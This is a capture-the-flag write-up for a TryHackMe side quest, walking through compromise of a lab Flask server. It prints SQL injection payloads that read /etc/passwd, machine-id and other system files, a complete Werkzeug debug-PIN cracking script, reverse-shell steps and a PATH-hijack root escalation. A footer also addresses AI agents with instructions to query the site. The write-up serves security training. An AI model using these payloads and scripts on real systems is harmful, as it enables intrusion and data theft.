# The Bandit Surfer

{% embed url="<https://tryhackme.com/room/surfingyetiiscomingtotown>" %}

All banner and comic images are courtesy of TryHackMe - <https://www.tryhackme.com>

<figure><img src="/files/IURRacQqK15m0rQLOtUN" alt=""><figcaption><p><a href="https://tryhackme.com/">https://tryhackme.com/</a></p></figcaption></figure>

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)&#x20;

## Getting to SQ4 - The QR Code

The QR Code to Side Quest 3 can be found in the Challenge `Task 27  [Day 21] DevSecOps Yule be Poisoned: A Pipeline of Insecure Code!`

We look at the merge requests to understand what happened there as part of the challenge.

<figure><img src="/files/kUwqpCsnuGXD42oDAHAG" alt=""><figcaption></figcaption></figure>

Within this one merge request we find the user Frostlino, let's have a look at his activity feed.

<figure><img src="/files/5wxF66eNpUp2vlYFB9kp" alt=""><figcaption></figcaption></figure>

He deleted a branch there, ok, maybe the QR code could be hidden here.

<figure><img src="/files/70h0lo4YeCigQVlfJlU8" alt=""><figcaption></figcaption></figure>

In the images' directory, we find the defaced image as well as the original.

<figure><img src="/files/NfujOx9artm1hdu6R7XH" alt=""><figcaption></figcaption></figure>

And lo and behold, the original image contains the QR code for the challenge.

<figure><img src="/files/SnR4oGzvE7ZPN0NNRG6x" alt=""><figcaption></figcaption></figure>

## Breaking Into the Best Festival Company

OK, let's start with side quest number 4 and see what we have in front of us.

### Recon

We start with a Nmap scan and find only two open ports. SSH is running on port 22 and a web server on port 8000.

<figure><img src="/files/Gfe2cpirknBQZkD1Vch9" alt=""><figcaption></figcaption></figure>

The service scan provides us with further important information, including the fact that OpenSSH 8.2p1 is in use and that the web server is a Python `Werkzeug` web server, often associated with `flask` web applications.

```bash
┌──(0xb0b㉿kali)-[~/Documents/tryhackme/sidequest/quest4]
└─$ sudo nmap -sV -p 22,8000 10.10.65.23
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-22 10:09 EST
Nmap scan report for localhost (10.10.65.23)
Host is up (0.036s latency).

PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
8000/tcp open  http-alt Werkzeug/3.0.0 Python/3.8.10
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8000-TCP:V=7.94SVN%I=7%D=12/22%Time=6585A692%P=x86_64-pc-linux-gnu%
SF:r(GetRequest,787,"HTTP/1\.1\x20200\x20OK\r\nServer:\x20Werkzeug/3\.0\.0
SF:\x20Python/3\.8\.10\r\nDate:\x20Fri,\x2022\x20Dec\x202023\x2015:09:02\x
SF:20GMT\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length
SF::\x201752\r\nConnection:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\x20l
SF:ang=\"en\">\n<head>\n\x20\x20\x20\x20<meta\x20charset=\"UTF-8\">\n\x20\
SF:x20\x20\x20<meta\x20name=\"viewport\"\x20content=\"width=device-width,\
SF:x20initial-scale=1\.0\">\n\x20\x20\x20\x20<title>The\x20BFG</title>\n\x
SF:20\x20\x20\x20<style>\n\x20\x20\x20\x20\x20\x20\x20\x20/\*\x20Reset\x20
SF:margins\x20and\x20paddings\x20for\x20the\x20body\x20and\x20html\x20elem
SF:ents\x20\*/\n\x20\x20\x20\x20\x20\x20\x20\x20html,\x20body\x20{\n\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20margin:\x200;\n\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20padding:\x200;\n\x20\x20\x20\x20\x20\
SF:x20\x20\x20}\n\x20\x20\x20\x20\x20\x20\x20\x20body\x20{\n\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20background-image:\x20url\('static/img
SF:s/snow\.gif'\);\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20backgr
SF:ound-size:\x20cover;\x20/\*\x20Adjust\x20the\x20background\x20size\x20\
SF:*/\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20background-position
SF::\x20center\x20top;\x20/\*\x20Center\x20the\x20background\x20image\x20v
SF:ertically\x20and\x20horizontally\x20\*/\n\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20display:\x20flex;\n\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20flex-direction:\x20column;\n\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20justify-content:\x20center;\n\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20align-items:\x20center;\n\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20")%r(FourOhFourRequest,184,"HTTP/1\.1\x20404\x20
SF:NOT\x20FOUND\r\nServer:\x20Werkzeug/3\.0\.0\x20Python/3\.8\.10\r\nDate:
SF:\x20Fri,\x2022\x20Dec\x202023\x2015:09:07\x20GMT\r\nContent-Type:\x20te
SF:xt/html;\x20charset=utf-8\r\nContent-Length:\x20207\r\nConnection:\x20c
SF:lose\r\n\r\n<!doctype\x20html>\n<html\x20lang=en>\n<title>404\x20Not\x2
SF:0Found</title>\n<h1>Not\x20Found</h1>\n<p>The\x20requested\x20URL\x20wa
SF:s\x20not\x20found\x20on\x20the\x20server\.\x20If\x20you\x20entered\x20t
SF:he\x20URL\x20manually\x20please\x20check\x20your\x20spelling\x20and\x20
SF:try\x20again\.</p>\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 95.12 seconds
```

Let's first visit the website while the Gobuster scan is running to enumerate the directories. we are greeted with a download portal. If you click on one of the elves, it will be downloaded as an SVG.

<figure><img src="/files/OkeTXq01RRFhMIFPcdAq" alt=""><figcaption></figcaption></figure>

When inspecting the source, you will see that `/download` is passed with the parameter ID to download files. When enumerating further IDs with burp suite, intruder ID 4 only gave a result with a PNG of the Yeti gang. We may be able to exploit this function to exfiltrate other files on the system. Let's continue enumerating for now.

<figure><img src="/files/mkj5ariIL1YiSKI9Ietp" alt=""><figcaption></figcaption></figure>

In addition to the download directory, Gobuster also finds the directory console. Nice, Werkzeug / Flask Debug might be enabled and provides us eventually a foothold.

<figure><img src="/files/AZfZ7KbNwbw6AYNVflMj" alt=""><figcaption></figcaption></figure>

The interactive console is activated, nice. However, it is protected with a pin. But we can easily bypass this by reverse engineering the pin. There is a script for this on hacktricks: <https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/werkzeug>&#x20;

However, this requires internal information on the system, which we must first obtain. As already mentioned, the download portal may help us there.

<figure><img src="/files/3BYTY5oZ0NUZaw0R38vE" alt=""><figcaption></figcaption></figure>

### What is the user flag?

Let's try to restore the pin and focus on getting the necessary information from the system. For this we need something like a path traversal vulnerability or a local file inclusion vulnerability for example.

So we take a look at the download portal. Since IDs are used here, there could be a database behind it, let's try a simple SQL injection probe and see what error we get.&#x20;

And we have a hit, SQL injection is possible, and we also see why it works. The use of string formatting with **`%s`** without proper validation or sanitization allows for potential SQL injection attacks.

<figure><img src="/files/cYKDEhzcSQrfp8rKs0Un" alt=""><figcaption></figcaption></figure>

With the following construct we are able to retrieve arbitrary files, for example the `/etc/passwd` file in the scope of the user running the service.

`10.10.63.23:8000/download?id=' UNION SELECT "file:///etc/passwd" -- -`

<figure><img src="/files/JxzWzcD74KCFca9iQgYA" alt=""><figcaption></figcaption></figure>

Attempting to retrieve the user flag has been successful, but we need to progress and exfiltrate more of the system to establish an initial foothold via the Flask debug console\
`10.10.63.23:8000/download?id=' UNION SELECT "file:///home/mcskidy/user.txt" -- -`

<figure><img src="/files/ca3hRJFWUMCyHyZWdjOM" alt=""><figcaption></figcaption></figure>

Nice, we are able to retrieve files from the system. We move on to the pin exploit. A detailed explanation can be found here: <https://www.daehee.com/werkzeug-console-pin-exploit/>

For now, we move on with the exploits presented at `hacktricks.xyz`.

{% embed url="<https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/werkzeug>" %}

Here, we have to provide the script the following parameters. We already know the user mcskidy from the error message, as well as the path to `app.py`. We retrieve the private bits by retrieving that information using the download portal.

```python
probably_public_bits = [
    'web3_user',# username
    'flask.app',# modname
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
    '279275995014060',# str(uuid.getnode()),  /sys/class/net/ens33/address
    'd4e6cb65d59544f3331ea0425dc555a1'# get_machine_id(), /etc/machine-id
]
```

First, we need the decimal expression of the mac address of the system. We get the MAC at `file:///sys/class/net/<device id>/address`. To get the device id we query for the file `/proc/net/arp`, its `eth0`.

`10.10.63.23:8000/download?id=' UNION SELECT "file:///proc/net/arp" -- -`

<figure><img src="/files/nxxIHMuexaDvn4h5wd3a" alt=""><figcaption></figcaption></figure>

Next, we query for `/sys/class/net/eth0/address` to get the MAC address. \
\
`10.10.63.23:8000/download?id=' UNION SELECT "file:///sys/class/net/eth0/address" -- -`

<figure><img src="/files/cOn2VIhZnzydobHf6dsI" alt=""><figcaption></figcaption></figure>

To convert the mac address, we use the following resource, and chose the EUI-48 representation:&#x20;

{% embed url="<https://www.vultr.com/resources/mac-converter>" %}

<figure><img src="/files/MOXu7QWP57znpZdXlqHG" alt=""><figcaption></figcaption></figure>

Next, we query the machine-id at `/etc/machine-id`.

`10.10.63.23:8000/download?id=' UNION SELECT "file:///etc/machine-id" -- -`

<figure><img src="/files/pLBLrSIqkOw4bo8GoVQ7" alt=""><figcaption></figcaption></figure>

We would also be able to get the used hash algorithm and used salt at `/home/mcskidy/.local/lib/python3.8/site-packages/werkzeug/debug/__init__.py`

`10.10.63.23:8000/download?id=' UNION SELECT "file:///home/mcskidy/.local/lib/python3.8/site-packages/werkzeug/debug/`**`init`**`.py" -- -`

Now that we have the private bits, we are able to modify the pin cracking script to the challenge needs.

```python
probably_public_bits = [
'mcskidy',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name**'))
'/home/mcskidy/.local/lib/python3.8/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
'3068463758827',# str(uuid.getnode()),  /sys/class/net/eth0/address
'aee6189caee449718070b58132f2e4ba'# get_machine_id(), /etc/machine-id
]
```

Here is the following complete script. At this point, only the MAC should be different to yours. Since this is the case, you should get another working pin.

{% code title="crack\_pin.py" lineNumbers="true" %}

```python
import hashlib
from itertools import chain
probably_public_bits = [
    'mcskidy',# username
    'flask.app',# modname
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name**'))
    '/home/mcskidy/.local/lib/python3.8/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
    '3068463758827',# str(uuid.getnode()),  /sys/class/net/eth0/address
    'aee6189caee449718070b58132f2e4ba'# get_machine_id(), /etc/machine-id
]

#h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')
#h.update(b'shittysalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)
```

{% endcode %}

We generate the pin and provide it to the login field. Unfortunately, this isn’t a consistent exploit, as in this case and in the initial compromise approach this failed at some points, and you might have to restart the machine.

<figure><img src="/files/y3WBHQQ4kBqbYhIT1h0A" alt=""><figcaption></figcaption></figure>

After restarting the machine only the mac has to be queried again, since this is the only thing that changed.

<figure><img src="/files/UlrRCIqQBoDz9K6huQi9" alt=""><figcaption></figcaption></figure>

After updating the script with the new decimal representation of the MAC, we get the following pin.

<figure><img src="/files/kgmejz6jZRrtma8Pea4v" alt=""><figcaption></figcaption></figure>

We provide it to the login mask and are able to use the interactive console.

<figure><img src="/files/6aG8IGPPXVrzRlGMrjAU" alt=""><figcaption></figcaption></figure>

We use the Python3#2 reverse shell from [revshells.com](http://revshells.com/) and only use the actual code. (Highlighted one)

<figure><img src="/files/uJpBmgrFJzNFNYy1ZH3z" alt=""><figcaption></figcaption></figure>

We set up a netcat listener on port 4445 and execute the python payload.

<figure><img src="/files/T9tT23DNEx7I8Zaj9lQY" alt=""><figcaption></figcaption></figure>

We receive a connection back and have a reverse shell as the user `mcskidy`. First, we upgrade the shell and continue with our enumeration.

Upgrade shell:

<https://0xffsec.com/handbook/shells/full-tty/>

`python3 -c 'import pty; pty.spawn("/bin/bash")'`

CRTL+Z

`stty raw -echo && fg`

We find the user flag in the home directory of `mcskidy`.

<figure><img src="/files/e1ZVv4YykVzL8aXfuQT1" alt=""><figcaption></figcaption></figure>

### What is the root flag?

From there, we are able to inspect the application folder app of the flask web server. We see that it is a git repository. Let’s see if we can find some valuable information in this repository.

<figure><img src="/files/W9RekcqNot1YhonZy8qU" alt=""><figcaption></figcaption></figure>

For this we make use of GitTools.

{% embed url="<https://github.com/internetwache/GitTools>" %}

First, we set up a python web server on the victim machine in the app folder, to retrieve all of its information.

<figure><img src="/files/ObgGZgWYV50t8yBPVdDN" alt=""><figcaption></figcaption></figure>

We use `gitdumper.sh` to dump the repository.

<figure><img src="/files/NFcJ6V7bKFUchj0RWTfC" alt=""><figcaption></figcaption></figure>

Then we move into the folder and run `extractor.sh` to get the entire commit history.

<figure><img src="/files/Z5nsOAcaTSdaesPgHZPr" alt=""><figcaption></figcaption></figure>

Via `git log`, we see all commits. Commit `e9855c8a10cb97c287759f498c3314912b7f4713` looks promising, there they changed the MySQL user.

<figure><img src="/files/zitoqLrqE8p7CV4RNhIj" alt=""><figcaption></figcaption></figure>

Via `git show e9855c8a10cb97c287759f498c3314912b7f4713` we see the changed users, and we are able to get a password for user `mcskidy`. Let’s check if it is reused.

<figure><img src="/files/Gl80rAdkmJ0F49er5tZi" alt=""><figcaption></figcaption></figure>

The credentials are being reused, and we are able to query `sudo -l`. Here we two valuable information, first the secure path is set to `/home/mcskidy`.

The `secure_path` is an environment variable that specifies the directories where the system looks for executable files.

Secondly, we are able to run `/usr/bin/bash /opt/check.sh`. Nice, so if the script uses something without an absolute path, we are able to control what it is executing by having that binary placed in `/home/mcskidy.` So there might be our privilege escalation vector.

<figure><img src="/files/DMEVHMvcCBODUVC6j8fU" alt=""><figcaption></figcaption></figure>

Looking into `/opt` we see also `.bashrc`. That's really odd, strange to find it here. The `.bashrc` file is normally a script file that is executed whenever a new interactive Bash shell is started for a user. It stands for "Bash Run Commands" This file is commonly found in a user's home directory and is used to customize and configure the behavior of the Bash shell for that specific user.

<figure><img src="/files/M8VYZb7Wsp8ypvkYzr5E" alt=""><figcaption></figcaption></figure>

Oh, and the `/opt/.bashrc` is also sourced in the script. That is really odd too. At first glance, despite this strange inclusion of bashrc, the script does not seem to offer an entry point. We are only facing absolute paths.

<figure><img src="/files/wdq9ekifepPmlp97jXOB" alt=""><figcaption></figcaption></figure>

And here comes the mind-blowing part. The square brackets are a synonym for the `test` command.

{% embed url="<https://stackoverflow.com/questions/8934012/when-are-square-brackets-required-in-a-bash-if-statement>" %}

The test command is in that bash file via the `-n` flag inside the `.bashrc` disabled, but worked running the script, it seems. So the shell command does get disabled, but since it worked, it gets sourced from one of the `secure_paths`. So a binary is used instead.

<figure><img src="/files/270mambCkC3im6DRuKR2" alt=""><figcaption></figcaption></figure>

&#x20;See for shell commands like cd:

{% embed url="<https://afni.nimh.nih.gov/pub/dist/edu/data/CD.expanded/AFNI_data6/unix_tutorial/misc/unix_commands.html>" %}

Here we have our binary, which we can provide in the home directory of `mcskidy` to escalate privileges.

<figure><img src="/files/eYlvalht5rmRmktbF44I" alt=""><figcaption></figcaption></figure>

We set up a reverse shell script in the file `[` in `/home/mcskidy`, set up a listener and executes it to test if it is working.

<figure><img src="/files/Xr7DAFpSzy9VeXcE80nf" alt=""><figcaption></figcaption></figure>

Nice, we get a connection back.

<figure><img src="/files/1JVHpwUWU50NtSpNBFJI" alt=""><figcaption></figcaption></figure>

Ok, we terminate the connection and set up a listener again. Now we execute `sudo /bin/bash /opt/checks.sh`. We receive a connection back as the `root` user and head directly to `/root`.

<figure><img src="/files/gPRMcZyaY92vfMmNBbOZ" alt=""><figcaption></figcaption></figure>

Here we are able to find the root flag.

<figure><img src="/files/JwRObOTSUNhlTOmHrcsx" alt=""><figcaption></figcaption></figure>

### What is the `yetikey4.txt` flag?

Still in `/root`, we are able to access the `yetikey4.txt`

<figure><img src="/files/V621anez5PUIzkTeovL9" alt=""><figcaption></figcaption></figure>

## Credits To My Team

{% embed url="<https://tryhackme.com/p/sumanrox>" %}
For working together on this challenge
{% endembed %}

Check out Sumanroy's writeups:   <https://sumanroy.gitbook.io/ctf-writeups/>

{% embed url="<https://tryhackme.com/p/Atul.R.V>" %}
For working together on this challenge
{% endembed %}

For fully automated exploits created by my teammates, visit their GitHub profiles:

{% embed url="<https://github.com/sumanrox/sidequest-exploits>" %}
Automated SideQuest Exploits
{% endembed %}

{% embed url="<https://github.com/47hxl-53r/sidequest2023-exploits>" %}
Automated SideQuest Exploits
{% endembed %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xb0b.gitbook.io/writeups/tryhackme/2023/advent-of-cyber-23-side-quest/the-bandit-surfer.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
